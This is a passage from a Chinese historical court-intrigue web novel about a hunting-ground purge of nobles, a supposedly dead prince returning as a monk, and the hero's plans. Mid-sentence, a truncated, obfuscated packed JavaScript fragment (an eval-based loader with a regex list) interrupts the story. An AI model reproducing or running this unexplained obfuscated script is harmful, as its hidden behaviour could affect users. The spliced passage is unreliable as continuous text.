柳从容甚至没有抬眼看文湛,低眉顺目,说,“戎久安以为解氏贵妾请封作筹码,诱惑逼迫解家将李氏祭出。” “戎久安正妃并无所出,而一旦解氏贵妾成为陛下册封的世子侧妃,她的儿子便可以继任王府世子。这李氏出身晋中商贾,容貌上乘,却没有倚靠,两下权衡,解家的选择显而易见。” “这都是燕王自雍京宗正寺带回的卷宗所显。” 文湛双眼都没离开过药罐,那才是他最关心,也是最重要的事情。 过了一会儿,他才说,“清河长公主一个要求,戎家就祭一个活人,这不通情理。不过,方才承怡在温挚处遇到的那个女孩子,说的那些事,……” 赵毓知道,文湛一定会了解当时帐中发生的所有事,出现在那里的所有人,说过的所有话语。因为只要文湛问,温挚不敢隐瞒,黄枞菖不敢隐瞒,没有人敢隐瞒。 朝廷撤藩,虽然没有明发上谕,可已推行了一年多。戎氏的军队没有充足饷银,这才在辽东将西北旧部弃了。 文湛都明白,只是没有说明白,也不用说明白。 药已煎好,文湛熄了炉火,静静看着罐中药汁由沸滚到平静,方说,“沈臻内眷手中有漕运的账目,如水般流淌的白银,那才是戎氏当真想要的东西吧。” “主上圣明!”柳从容,“大殿下在猎场由李氏查到解家,他们惊惧,害怕大殿下马上就能顺藤摸瓜到戎久安,这才灭口李氏母子,本来想要了结此事,可终究……” 可终究棋差一着。 他们没想到文湛听到沈臻家那个瘦马开口一瞬间,他们就无所遁形。 也终究是他们暗行鬼蜮伎俩之时,正是陛下在猎场之时,此为大不敬。有些话不必明说。戎氏在辽东私杀部下,抛弃友军,这些尚且可以自辩,可大不敬则是重罪,即使有大功于社稷的戎氏,一个不好也会被抄家灭族。 文湛,“文王想如何脱罪?” 柳从容,“牵扯进来的所有人,尤其是解氏,全部自裁,包括那位贵妾,还有其所出之子。世子戎久安入上林王狩,于死地求一线生机。” 文湛听了这些话,居然沉默了良久。 随后,他极模糊说了一声,“先嘉王,朕的那位三哥,他……” 柳从容极意外!他御前近侍,这么多年,从来没有听到陛下回忆起之前的人、之前的事,甚至连他的亲生母亲先皇后都不曾,更不要说先嘉王羽澜! 不过,文湛终究还是什么也没有说。 只是意味不明笑了一声,“好,准文王奏请。” 等柳从容退出殿外,文湛回头,正看见赵毓就站在内外殿门边缘。 猎宫本就是宫殿,殿内广袤到有些空旷,金丝楠木的主梁支撑着蔓藤莲花纹路的藻井,它上圆下方,暗合“天圆地方”,细密的斗拱交织出天宇的无上崇高与人神暗语的神秘。 “本来想让你多睡一会儿。”文湛过来牵他的手,“听黄枞菖说,之前的药你没有喝,落在温挚那里了,我又给你熬了一罐。” 赵毓,“那个女孩子……” 文湛甚至都没有特意看他,“她没事,只是,着温挚严密看管。” 赵毓坐在软椅上,文湛将方才熬煮好的药倒入瓷盏中,推到他手边,等他慢慢喝起来,文湛又打开一个白瓷罐,用勺挖出一点蜂蜜,滴在白玉盘中已经切成薄片的梨上。 “文湛。” “嗯?” “你方才笑什么?” 文湛手指拿着金叉,扎了一片蜂蜜梨片,喂给赵毓,方说,“有一件事,已经困惑我十几年了,我一直想不明白。” 赵毓,“文王吗?” “对。”文湛手指中的金叉在白玉盘中碾了一下,“他为什么不去死?” 扎了一片梨,又喂给了赵毓。 “十四年前他已是穷途末路。苍老,重病,臃肿。我见到他,甚至已经闻到腐烂的味道,可是他却活着;他将儿女两条血脉都屠尽了,可他依旧活着。这种腐烂甚至毁了戎氏。天命玄鸟一样的黑色大纛都成旧日泡影了,不过,此时倒是可以叹一声何年劫火剩残灰。” 赵毓,“那羽澜呢?” 十四年了,他从未想过,与文湛,在这样的情景中,谈起这个名字。 “其实……”文湛说,“三哥他,从未威胁过我的帝座,甚至先皇后也是这样认为的。她坚信,能够威胁到我的,只有你,承怡。” 赵毓,“……” “不过。”文湛笑了,“我却知道,你也不会,早在得知你非帝裔之前。” 赵毓,“为什么?” “飘风不终朝,骤雨不终日。”文湛说,“承怡,你的爱恨太强烈,不适合这个位子。生性柔软是稀世之珍,但是长在你心里,却是痛苦的根源。” 赵毓知道他说什么。 文湛,“我在猎场见到那个姜旋,我只觉得你可能会喜欢她。让你跟她说两句话,只是让你开心,真没想到会是这样的结果。” 赵毓问他,“文湛,你知关外事?” 文湛点头,“北境军报频传,我知许多事。” 沉默。 他们都不再说话。 赵毓喝完了药,而文湛则是很自然地喂他吃滴了蜂蜜的梨子。 良久,赵毓才低声说,“这段时日,我时常会想,世上可有一些什么,是战争,帝王的权谋,权力的搏杀也无法磨灭的?” “山河日月。”文湛,“还有我对你的心意。” “嗯。”赵毓点了点头,“除此之外呢?” “也许。”文湛,“只有天知道了……” 原本猎场的防务由赵毓全权负责,奉宁为其副将,如今他身体不好,正在闭关修养,认真喝药,外人不得觐见,而琅琊郡王则另外有事情去做,所以防务这这一块所有事宜,由柳密暂代。 柳密是文官,自然知道这世间被文人墨客倾力追捧,著书传世的人物,除了帝王将相,就是绝世美人,要不然就是高僧大德。之前他只听说过空镜寺为皇家寺庙,各种消息皆为秘闻,外人不得探知,甚至连主持的身份背景都不明,没成想,如今他人身在猎场,居然有幸见到传闻中空镜寺大主持,他身后的百二僧兵,与黑色匈奴战马。 虽然说这些兵马的调动有兵部的勘合,但是此时进猎场,带着一种诡谲,显得有些不合时宜,当然,如果那些僧兵背后不负着一个一个的麻袋,这种不合时宜就能稍微合一些时宜。 只是,出乎柳密意料之外,这位大和尚看着颇为年轻,全然不似他之前设想的那种白发苍苍的秃驴,而且更加诡谲的是,此主持的眉眼居然看着颇为眼熟,总觉得应该在那里见过。 柳密是虔诚的孔门子弟,从不上山问禅,求名利,求财,求子嗣,而且在家乡的时候,他从未跟从那些同村邻村的老头老太太们在各个乡村野庙拜神烧香,按理说,他应该从未见过此等大僧,可为何,此人的眉眼竟然如此眼熟呢? 那位年轻主持大师下马,动作颇为娴熟,虽然锦斓袈裟随着风雨飘摆,颇有些仙风道骨、佛道不分的味道,不过他看起来还是像久经沙场的宿将,而不是长年吃斋念佛的善知识。 柳密先问,“这位长老,不知道如何称呼?” 那大和尚不答却反问,“你是谁?” “下官柳密。” 柳密这个自报家门颇为随意,没有官职,没有在猎场的权位,可那大和尚听着却长哦一声,“哦~~~~~~”,再点头道,“原来是活阎王。” 柳密,“……” 那大和尚说,“贫僧出家实为被迫,也非本心,因而忘记取法号,你看着叫吧。” 柳密,“……” 那和尚看向柳密身后,以及周围的人马。 柳密又说,“长老持有兵部堪合,您和您的僧兵本可直接入南苑,可如今陛下亲临猎场,所有进出人马必须查验清爽,还请长老命您的僧兵下马,亮出兵器,打开随身行囊。” 那大和尚到是合作,吩咐手下按照柳密说的话去做。只是,当柳密这边的雪鹰旗打开这些行囊,有些意外。僧兵的麻袋中是干山货,干豆橛子,木耳、蘑菇、黄花菜,另外还有一些腐竹。 而这大和尚带着的物件则极华贵:打开黑色缂丝做的包袱皮,几个用黄金描线的朱漆紫檀木盒子,外镶螺钿,内里装满了素斋点心。除此之外,甚至有一个以玲珑镂空雕描绘“天上白玉京”的海南黄花梨木盒,价值万金,抬起穷奢极侈的木盖,里面整整齐齐码放着酥皮红豆饼。 柳密觉得,眼前这个场景很像九年前在赵毓雍京北城的宅子中抄出一个黑檀木的盒子,里面放着一件雪色白貂大氅。 “如果柳大人认为没什么问题……”那和尚说,“我就把点心盖上了。毕竟,这是我要送人的礼品,乱了,糟了,沾了水,送不出去砸我手里就麻烦了,我可不爱吃这种甜腻腻的东西。” 柳密点头,示意手下仔细系好麻袋,也为这大和尚盖好那些穷奢极侈的木盒子盖子。 “长老可与赵先生熟悉?” “谁?”大和尚一挑眉。 柳密,“赵毓。” 大和尚一嗤,“不认识。” 柳密,“祈王承怡?” 大和尚,“贫僧和此人,勉强算起来,也就些许认得几个时日。” 柳密刚想再问,身后是马踏流水的声音,似是很急切,他们一看,原来是黄枞菖到了。 “柳大人。”黄枞菖,“还在这儿呢!” 柳密迎过去,“这么急,黄秉笔可有事?” “不是我,是郡王。”黄枞菖,“郡王奉圣命在猎场内追查涉文王以及殷氏案件的王公贵戚,结果在红枣醴川被射了一支冷箭。” 柳密一惊,“郡王可受伤?” “郡王安。”黄枞菖说,“看来郡王的武功远在众人意料之上。伤不曾受,只是乱已出,所以现需雪鹰旗回防红枣醴川,毕竟,如今猎场内,陛下信雪鹰旗,也信柳大人公正。” 说完,他抬眼,看向柳密身后的大和尚和他的僧兵。 和尚又是一嗤,“你看我做什么?” “来都来了。”黄枞菖笑着凑过去说,“二殿下也随奴婢走一趟吧。您的这些人马刚好可以将红枣醴川北部山林封住,那些徘徊的山路,那些高耸的地势,那些深不见底的密林,您最熟悉。有您在,那是一只苍鹰都无法在红枣醴川天空中盘旋了。” 柳密虽然面如平湖,但胸有激雷!他方才将这个和尚的身份在心中盘了几遍,唯独没有盘到先帝二皇子宁王摇光。因为,他于元熙三年在雍京考出来的时候,宁王早已于凤化四十年就因谋逆大罪被斩杀在镐水之滨了。 于他而言,摇光是“先”宁王。 真没想到宁王依旧活着,这到底是惊悚呢,还是惊悚呢,还是惊悚呢? 摇光却问黄枞菖,“我那位不可一世的兄长呢?” “等回头再和您仔细说。”黄枞菖一叹气,“咱先干正事儿。” 摇光,“他在猎宫吗?” 黄枞菖点头。 摇光吩咐手下一名僧兵将这些木制食盒用黑色缂丝全部包裹好送到猎宫,其余人马跟随他、黄枞菖与柳密,同雪鹰旗前往红枣醴川。 此地名字如此奇怪,其实取自“浮枣绛水,酹酒醴川”的典故。 水边祭祀就在这里举行,一种非常古老的仪式,将一些瓜果放在木筏之上,装点祭祀用的青词与符咒,以青藤纸张为底,用朱砂书写,焚烧之后推木筏进入河水,顺流而走。之后,再以酒水洒岸边土地,以示对天地神明的敬畏和祈福。 众人到这里,听奉宁将方才的事情粗略讲了一遍,只见他手指密林之上的天空,“方才的乱子自东方起。陛下的金雕原本在天空盘旋,叼了一只鹿,忽然来了一只海东青,直接冲向金雕的猎物。金雕和海东青就在天空中将鹿撕碎了。” “可是那个时候,海东青并没有将抢到鹿腿带走,反而直接抓向金雕的双爪,碎掉的鹿肉从高空摔落。随后两只猎鹰就在天空转陀螺。我在西北曾经见过这样的场景,两只鹰互不相让,利爪咬合,最后一起从万里高空坠落。” “那是陛下最得意的金雕,是兄长在西北亲自捕获,出任何闪失,雪鹰旗都有渎职之罪,因而,雪鹰旗向天空中的海东青放了第一箭。只是擦过海东青的尾羽。随后,是第二支箭。可同时,猎场出现了第三支箭矢,却是冲着我的后心而来。随后,雪鹰旗的第四箭终于将那两只鹰隼分开,各自飞开。” 奉宁拿出猎场出现的第三支箭,黑漆木杆,黄金箭簇,白色凌翅鸟长羽做翎。 ——先帝秘密处决王公贵戚才会动用的黄金羽。 摇光伸出右手,从箭杆中央握住,取过来,看了看,才说,“黄金箭簇上没有一丝划痕,全新的,非常罕见,这是,刚从大正宫内库军械库房取得,才运进南苑来的吧。” “怎么?”摇光将黄金羽抬起来,迎着日头镀了一遍光,“陛下终于确定了心思,上林王狩就要开始了?或者说……” 黄金箭簇是温润的金色,却不知为什么,柳密看到它,总觉得锋利过分了,甚是刺目。 摇光将黄金羽还给奉宁,“……已经开始了。” 先帝秘密处决王公贵戚动用黄金羽,上林王狩猎杀王公贵戚一样动用黄金羽。 都说生死为大公道,人人都避不开,可依旧还是不一样。 赵毓曾经感叹过空镜寺的山道过高过险,想要入山门,任何凡人只能自己一步一步爬,那才是‘人间公道唯此处,王公身上不相饶。’可是,他依旧不是自己上山门,每次去空镜寺,都是文湛亲自背着他上山。而大郑的王公们,就算是横死不得善终,也需死于黄金羽。 摇光问奉宁,“还查吗?” 是呀,还查吗?要是查,查什么? 是追这根黄金羽的来源吗? 可摇光已经点明,就是来自大正宫内库,而能够动用此处的军械,非陛下明旨不可,否则就是谋逆大罪。 去追那只海东青吗? 猎隼已远去杳无音讯,地面上的人们如何抓天空鸟儿踪迹。 柳密忽然问奉宁,“郡王,我进猎场见了雪鹰旗方听说,陛下登基之前极爱鹰隼,只是驭极以来,一则政务繁杂,二则劳民伤财,这些心思也就淡了,赵先生从西北带回一只金雕,并没有向各地索贡,因而我不知,之前究竟是哪里向雍京供奉鹰隼?” 闻言,众人就是一愣。 摇光上下看了看他,“柳大人当真不知?” “自然不知道。”柳密则说,“这又不是宣告天下、四海皆知的事情。” 摇光却不说话,他看着奉宁,微微点了一下头,奉宁回答,“北境,肃慎部落。” 柳密,“……呃。” 奉宁,“大郑全境最好的海东青就产自大鲜卑山域,一向由肃慎部落捕捉进奉雍京兵部猛禽司,这也是几百年的老传统了,只是陛下登基之后不喜劳民伤财,所以才由五年一供,改成了十五年一供。” 随后,他又看了看柳密才说,“不能废除这项供奉,否则,北境会给肃慎部落找到其它名目的徭役赋税,也许更为艰辛,也坏了陛下一片爱民之心。” 这里面的门道柳密都懂。他的家乡邺郡周王封地臣民就是因为有供奉回天草的差事而被减免了黄河徭役,所以,即使采回天草异常艰险,家乡父老还是倾向于保留这项差事,毕竟,就算每年采草都死人,分派到各家各户,也还能扛。因为采回天草而父亲早亡,母亲也因伤心过度而早逝,致使他年少失怙的可怜人家,也没死绝户不是? 奉宁大致说了一下,此次肃慎部落附逆,根源按照赵毓的话讲就是‘勒不紧裤腰带’酿成的大祸乱。之前几百年,雍京出关取鹰隼的全部是内廷大太监并兵部猛禽司官吏,最近几年内忧外患、政事繁杂,因而此事就交于关外镇守的籍贯雍京的驻军,原本以为是一趟取了就回京探亲的美差,没成想又走了前人的老路,他本人被分尸于关外,身后牌位还被弃出,同时文湛下旨问罪其三族。 这些都是密报,柳密无权查阅,因而全然不知。 不过此时猎场特殊,这里似乎已经方外化境,一切人间律法都失去约束,只剩下厮杀,不过,王族权威依旧。 柳密大致听奉宁说了这些事情,就问了一句,“前人的老路是什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有马蹄声由远及近,黄枞菖迎了过去。 “是不是觉得这群天潢贵胄和土豆地瓜也没什么不同?”摇光忽然说,“我兄长被抄家的时候,他就跪在王府外叩谢皇恩,额头都磕破了,也没有减损‘祈王府’黑檀木黄金浇筑大篆的匾额一分一毫。” 柳密看着他。 摇光则看着那群人,“那个时候,柳大人正在学堂写‘立志者,心向贤达,慕圣君贤相之所为,此乃读书之根基’之类的文章吧。” “不。”柳密则说,“这类是我十二岁时所写。赵先生蒙难之时,我已经开始写‘牺牲粢盛足以为祭祀之供,玉帛筐篚足以资朝聘之费,饔飧牢醴足以供宾客之需,车马器械足以备征伐之用’,长老估量错了。” 摇光只是笑,没有再说什么。 奉宁看着手边的名单,上面最后一个名字,让他显得有些为难。 “还是我来吧……” 如此场景很突兀的一个声音,奉宁一愣,抬眼,看到的居然是赵毓!于是,将名单双手呈上。 “他是怎么回事儿?”赵毓看着这个名字,——宗政文辩。 奉宁,“文王世子很是看重解氏妾,迎她进门的时候摆了酒,请了一些亲朋,宗政文辩就在被邀之列。” ——也就是说,当时自己抓耳搔腮搞不清楚解氏究竟同猎场哪位王公勾连的时候,宗政文辩全部看在眼中。赵毓甚至记得当时迎文湛回猎场的时候,宗政文辩也在。只是,…… 赵毓回雍京这两年遇到宗政文辩尽是善意,即使不知自己身份,对待他、对待尹徵,从未怠慢。作为宗政家的世子,为人又和善,宗政文辩本就交游广阔,列席戎氏宴席也不过是亲朋之间正常走动,只因见过解家人并未言明便是涉谋逆的重罪吗? “这世间难做之事从来不是斩妖除魔。”摇光忽然开口,“而是面对无辜良善挥动屠刀,比如你对我。为了姬姓的王权,为了社稷,为了……” 赵毓,“你闭嘴。” 摇光磔磔地笑了两声,却着实闭嘴了。 柳密看着赵毓手指捻着名单,问奉宁,“宗政文辩弓马娴熟吗?” 奉宁,“马,肯定会骑,只是这弓箭嘛……” “反正比你强。”摇光又风凉了赵毓一句,“你看我也没用,全姬姓都知道,你被先帝宠废了。” 赵毓没搭理他,径自对奉宁说,“抓人吧,只不过将他原地关押,不要往祭台和红枣醴川这边送。还有,看看陛下那边是否有恩旨,如果有赦免的旨意,先赦他。” 奉宁领了命直接去做事。留下的四个人,你看看我,我看看你,过了一会儿,摇光的僧兵归而复命,如同预料一般,无任何异常。 柳密问赵毓,“如今猎场频出意外,归因是否为西北军?” “不是。”赵毓则答,“徐玚不是被攻击的西北军,根本就没有攻击西北军这一说。徐玚被围猎,因为他是猎物,他手中没有弓箭,只有马鞭。我被石慎围猎,因为我们旧日的恩怨。奉宁被放冷箭,因为他是王公。从头到尾,只有一西北军被攻击,那就是程风。” 可是程风罪在不赦。 柳密忽然感觉到一丝的空茫,甚至比他年少登科更甚,犹如踏足无人之境,这是任何书籍任何前辈的教导都缺失的地方。他又仔细回想了一下,如今这个场景倒是有些像自己第一次见到陛下:文湛极致的年轻,却是古老史书诟病的模样,似乎在每一段祸乱之中,这都是起因。 ——生于深宫之中,长于妇人之手。 “祈王!” “承怡!” “我知道你在!” 忽然爆起的声音,让方才陷入自己思绪中的柳密都微微动了一下,然而,赵毓仿若没有听见似的,低头看着水边的一丛白色鸢尾。 是文王世子戎久安。 被重兵押送过来。 “当年的事,你怨我戎氏,可你自己拍着良心说,先嘉王死无葬身之地,是我戎氏的罪孽吗?” “我妹妹信你,她等你救她。” “等?” “等什么?” “等谁来救我戎氏?” “是等你那位文治武功彪炳史册的好父亲,还是等你那位大郑圣王临世的好弟弟?” 有些话,即使是不想活了的戎久安也不敢明说,——当今陛下与先嘉王是政敌,而先帝下旨族诛亲子。 “当年你父赵汝南被万仭凌迟,我父王就在先帝身侧。那可真是条铁骨铮铮的汉子,你一点都不像他!你只敢对我们这些臣下撒气,可真正致你弟弟于万劫不复的罪魁祸首,你是一点不敢怨怼。” “你怕什么?” “你姓赵!” “先帝一道密旨一枚虎符就能控制整个西北?如果纸上文字果真具备如此神通,浙直总督的人选就不会一直掌控在江南兰芝社手中!” “你赵氏世镇西北。那才是你的根基!” “我戎氏是随太祖皇帝定鼎华夏的功臣!可这十几年,活的连狗都不如!” “他什么都不用说,什么都不用做,我们只能揣摩,无尽的揣摩。” “微臣罪该万死!” “我戎氏罪该万死!” “蝼蚁,蝼蚁。 皆为蝼蚁…… 皇权之下皆为蝼蚁! 你我皆如是。” 赵毓抬手隔着很远吩咐了一下押送罪臣的兵士,将戎久安的嘴巴封堵起来,所以,他最后那声言语随着河水滚滚流淌,飘荡过红枣醴川也是模模糊糊。 柳密没听清楚,下意识问了一声,“他说什么?” 赵毓,“今日吾躯归故土,他朝君体亦相同。” 似乎是一句谶语。 然而柳密并没有听过,“这是什么?” 赵毓,“先父被凌迟,他临死之前最后一句话。” 冷静。 似乎冷静过了头,只剩下冷漠了。 这次柳密也不知道要接什么。 摇光却说,“你就让这姓戎的,这么说话?” 赵毓则说,“戎久安人之将死,愿意说点啥就说点啥吧。他这口气这时候不出来,恐怕都过不了奈何桥。” 摇光,“老三那事儿吧……” 赵毓,“其实,他不一定死。” “啊?”摇光这次真成丈二和尚了,“你撒呓挣了?” 赵毓,“没有。” 摇光,“你等等,你这诡异的想法是哪儿来的?不会是陛下说的吧。” 赵毓点头,“嗯。” “哈?”摇光惊诧到荒谬,他笑了,“你真信?” 赵毓,“有什么不信的,你不就活着吗?” 摇光一嗤,“老三怎么能跟我比?我身家清白。我可没有一个执江南兰芝社牛耳的外祖,一个跟他爹同为阁老的舅舅。我娘一家子只爱读书,我外祖我舅我姨他们都是淡泊名利的人。” “你?”赵毓看他,“你娘李太贵妃不是在五老峰修仙吗?得亏现在是太平盛世,如果稍微有点儿不对,你外祖那大忽悠外加你娘这个仙姑,不出仨月,就能重新拉起一白莲教。” “说什么呢?说什么呢?”摇光一摆手,“我娘不修仙了,跟我信佛了。” “呦,大和尚,失敬。”赵毓,“背一段《地藏经》,我听听。” 摇光一翻白眼,却说,“我虽然不会念经,但我真带来一个会念经的和尚,承六道戒疤,修无上功德。我让他给你送点心去了,不知你见了没?” 赵毓点头,“嗯。” “猎场将起大法事。”摇光说着,指了指奉宁走前没有带走,放在一旁箭筒中的黄金羽,“上林王狩已经开始了。” 186. 186 186 密林边一群兵士在喝酒,面前的火堆上架着乌钢锻造的箭矢,串着几只兔子和山鸡,翻动烧烤。 荀大牛听旁边的一位弟兄已经将最近的不顺以及未来可能的苦难叙述三遍了,他伸出手,豪横地拍打着那人的肩膀,算是给了粗糙却货真价值的安慰,随即又给那人新拿了一瓦坛子酒,附加一句“今朝有酒今朝醉”。他瞥到林子不深不浅处杵着个裹黑色披风的人,连同他身后之人,一直沉默看着自己。他说自己要去五谷轮回,在一片醉鬼当中歪歪扭扭起身,晃晃悠悠进了林子,越过一道蒿子,再越过一道粉苕花丛,蹚过一道溪,这才看见那个黑衣人和同伴就在水边。 “你不能就这么冒出来。”荀大牛低声说,“你会让我暴露的。” “我没有直接冒出来。”赵毓将遮住头颅的披风拿下,“我在这里等了你很久。这段时间你啃了一只兔子腿,哭了三茬,还喝了一坛子酒。你不会暴露。” “你看见我哭了?”荀大牛摸了摸下巴。 “嗯。”赵毓点头,“而且你哭的特别真情实感。” 荀大牛有些高兴,轻拊掌说到,“你这样说我就放心了。我混进戎氏私兵的时日不长,世子出事,可我和他不熟,还得表现出忧伤,我就怕临时攒不出丰沛的情绪,哭的不够伤心,让别人怀疑。” “亲儿子哭成你这样,也算大孝子了。”赵毓看着他,面无表情说,“再说,文王戎氏他们一家人感情都扭曲也淡薄,就算有朝一日世子戎久安死,他戎氏断绝血脉,文王都哭不成你这个伤痛欲绝的模样。” 荀大牛一撇嘴。 赵毓,“进奏院的斥候,有的时候,也不是那么靠谱。” 荀大牛看了看赵毓身边那位,就对赵毓嘬牙花子,“不是,老赵呀,你这不对呀!柳大人可是如今雍京城有名的清官,老百姓心目中的大青天!你把他买下,必花费巨万。可钱对你是小事,但你毁了一座真神。” “真神是毁不了的。”赵毓平淡地说,“能毁的只是木胎泥塑。” 荀大牛不明白,“怎么说?” “我怎么可能花费收买他?”赵毓,“柳大人同我过来,是要紧的公事。”说着,他从袖子中拿出一柄黄金羽递了过去,“老荀,你曾是我西北军的王牌斥候,……” “如今在进奏院,我也是王牌斥候!”荀大牛说着,接过那炳黄金羽,在手中掂量了掂量,随后,借着密林中斑驳的日头散光,仔细看了起来。 赵毓,“所以,我只信你。” 荀大牛将这柄黄金羽从箭矢到尾羽,仔仔细细摸索了一番,递还给赵毓,“九爷。” 赵毓只是接过,却没说话。 荀大牛,“黄金羽这种圣物一直深藏于大内,就算横空出世,也得由徽郡王家那位世子接引到人间。我刚才琢磨了一下这柄箭,又摸了摸箭头,外人没沾过边,除了九爷能策动它也没其他人了。”见赵毓表情有些凝重,荀大牛一乐,“这有什么难的?你去找九爷直接问一下不就得了吗?他对你而言又不是外人,他是你那个禁脔的发小。” 赵毓,“禁脔?” “嗯!”荀大牛,“就那司礼监的老黄。” 赵毓,“黄秉笔是我的大伴,不是禁脔。” “我们盯着那几个藩王,还有一些王公,有些就跟伴当不清不楚的,还有弄死人的。”荀大牛一叹气,“这种事儿都算不上事儿,随便记一下都行,大多都不用上报。其它做出来不是人说着更难听的事儿,传回雍京的卷宗都一沓子一沓子的,当真罄竹难书。终究,你们姓姬的也确实没拿人当个人,更不要说那些残缺之人了。” 赵毓,“我没做过这种事,黄枞菖是我的家人。” 荀大牛又瞥了一眼赵毓,却乐了,点头说到,“你不同,你姓赵。” 赵毓拿着黄金羽,一直沉默着,不知道想什么,荀大牛又调侃了一句,“你不是不喜欢酸文假醋吗?” 赵毓,“你能说点正经事吗?” “正经事?”荀大牛,“如今猎场之内,唯一也是最大的正经事儿不就是上林王狩吗?那跟你有什么关系?” 赵毓手持黄金羽,荀大牛看着,忽然有些心惊担颤,“老赵,你可别想不开呀! 咱西北军,这些年纵横西疆本来就不招人待见,咱是功劳也有银子也有,别人一样是拼命,既没钱也没功劳,嫉妒的锥心刺骨、抓耳挠腮,把咱剁碎插秧的心都有。现如今满猎场扫扫,没想着把咱挫骨扬灰的那些就已经算是亲人了。 老赵,你如今要是以西北军统帅的底子再入上林王狩,等于不给别人一点活路。人家也想封侯拜相,黄金万两,你横插一杠子,别人可是连个肉汤都捞不着,太招人恨了。 再说,陛下对于北境也有自己的布局,你又不是不知道! 柳大人这样的青天大老爷和你不同,人家可以做铮臣,你又没这个前途,你不顺着陛下整天跟他对着干,你成什么了?人家柳大人是正经言官,直谏那是本分,要是撞了大正宫承天殿的柱子人家是名垂青史;你瞎折腾要是被陛下看不顺眼宰了,你就是遗臭万年。” 外面草丛中有人走动的声音,荀大牛连忙说,“我不能和你继续磨蹭了,我得赶紧回去,不然真容易暴露。”他又是那副伪装的醉醺醺模样,踏过那条溪水,分开粉苕花丛,拨开蒿子丛。赵毓和柳密这边就听见林子边缘那边有醉汉言语,——林子中只有草,半个人高,还扎屁股,其它一概皆无。 柳密并没有问赵毓为何进奏院斥候对于他这个陌生文官竟如此熟悉,这属于大正宫不传之秘。可如果他身在雍京此时当真需要直言进谏帝王过于沉溺于密探,伤天和,伤明断,伤“仁、礼”,无益于长治久安! 可他此时在猎场。 这是一片古怪的土地,一段诡异的时光,身处其中,他看到圣贤书一页一页失效。 七天前。(163)赵毓为了躲开燕王,在猎宫内薅住黄枞菖,让他端出为陛下和燕王准备的酒馔,以便这君臣俩在火堆旁推心置腹。等他推走黄枞菖,就站在猎宫大殿门口,看着黄枞菖亦步亦趋走到文湛面前的火堆旁。 他微微叹口气,甚至还保持着之前的姿势,头未扭,身子未回转,只是说,“九爷,十四年未见,别来无恙?” 徽郡王世子慢慢走出来,不笑,异常清晰的口齿,言语道,“赵先生,您我二人可不是十四年未见。只不过,大殿下与臣,倒的的确确十四年未见了。” 那还是凤化三十八年,正月十七。承怡扯着黄枞菖向林子里面走了走,“方才在南苑,旻铉和我说,徽郡王已经呈了折子给我爹,要册他做世子。” 黄枞菖,“徽郡王家的九爷?” 承怡点头,“嗯。” 黄枞菖,“九爷家那八个哥哥不是吃素的。” 承怡,“旻铉和他娘也不是吃素的。他娘是个人物,当年她母族为了联姻,她十二岁嫁入徽郡王府,老头子都六十了。入郡王府的第三年,郡王妃十四岁在产床上生下旻铉,彻底坏了身子,以后只能用名贵药物续命。入药需要一味迦南,不但是贡品,而且是大郑皇室祭祀才燃的香,我爹每年都从大内拿出一些了赏赐,这么大的面子,少有。” 黄枞菖,“郡王妃什么时候存着这个心思?” 承怡,“我猜想,应该是入郡王府的时候。瞧瞧老九儿那个名字,旻铉,就是他娘起的。铉,如钩,举鼎之器。鼎为社稷,而铉则是辅佐鼎的三公重臣。徽郡王的儿子,以后的世子,身为宗室,野心却止于三公。”他咂摸着嘴巴,“这个名字招摇,又不那么招摇。简直招摇的恰到好处。” 猎宫。 “赵先生不问问我……”旻铉走到书案前面,“因何在此处?” 赵毓,“自然是处理北境军务。” 此时,旻铉方将宽广的袖子微微抬起,露出隐于其中的五封军报搁置在猎宫紫檀书案之上。 “其实,九爷不必如此。”赵毓则说,“不该我看的东西,我不会看的。” “劳烦大殿下称呼九爷,……,旻铉不敢当。” “不。”赵毓连氅衣的风帽都没有扯,向外走,去迎从雍京过来的柳丛容,一句话轻飘飘落于身后,却自赋万钧之气,“您是陛下属意的北境王族统帅,关外子民身家性命,出关的大郑儿郎,列祖列宗暴霜露斩荆棘留下千里沃野,皆系于君身。这一声九爷,您当得起。” 三日之前猎宫的风,吹过此时的水面,似乎愈加烈了。 而醴川,摇光盘坐于水边,在烤鱼。见赵毓刚想说‘杀生’,他指了指旁边石头侧立着的一本《地藏菩萨本愿经》,反驳道,“超度。”赵毓抓了抓头发,坐在一旁,“你不能换身行头吗?一身袈裟在这里烤鱼,很是惊悚。” 摇光,“那我穿什么?” 赵毓,“随便。” 摇光,“黑色猎装?” “嗯,可以,反正你也姓姬。”赵毓,“换身衣服就表示你是一个普通的秃子,烤鱼烤虾猎鹿都无所谓,而不是一个离经叛道的令人惊悚的假和尚。” 摇光嗤了一声方才对赵毓说,“旻铉曾经是你的伴读,一直在军中有实职,很有积累,又同高昌人打过交道且颇有一些渊源。他老子徽郡王德高望重,在大郑军方不能说一呼百应,也能做到应者一堆,不管怎么说,那老头儿把他们家的崽塞到西北去混军功,你也不能驳老爷子的面子,虽然那个崽只剩了一块腰子归葬雍京(46),终究是一条人命,说到底,你还欠徽郡王家一个大人情。这个老九儿,怎么看,都是一个出征北境的绝佳人选。” “还有一点……” 周围没有其他人,只有流水伴着风声。 “旻铉要是死在北境,陛下不在乎。”摇光给鱼撒盐,又说,“顶多给他风光大葬,再把郡王爵位抬举成亲王,那就是泼天的君恩了。可要是你折在北边……” “我大郑可能就要易主了。” 赵毓,“你怎么不能去北境?” “我是死人。”摇光平淡地说,“即使陛下是我大郑千年宗庙圣迹,姬姓列祖列宗显灵,紫微帝星临世,也不能驱使死人干活。” 赵毓,“我看你还没死透。” 此时黄枞菖赶来,给他一个牛皮水囊,是药。 摇光,“我死透了,透透的,我的尸骨都埋在镐水之滨了。” 赵毓喝药,他看着赵毓喝药,自己也跟着皱眉,似乎那股子苦味儿伸进了他的嗓子眼。黄枞菖原本看赵毓喝药看习惯了,此时看他这个样子,也跟着摇光皱了皱眉头。 “上行下效。”赵毓瞥了一眼他们两个,摇头,又说,“怎么让你再活过来?上林王狩的祭祀?奴隶,战俘,甚至是王族的罪人。他们被击杀,被剁碎,被焚烧,献祭上苍,能唤醒你死寂的命吗?” 摇光看着他,“你想让我干嘛?” 赵毓,“助我夺黑色王旗。” 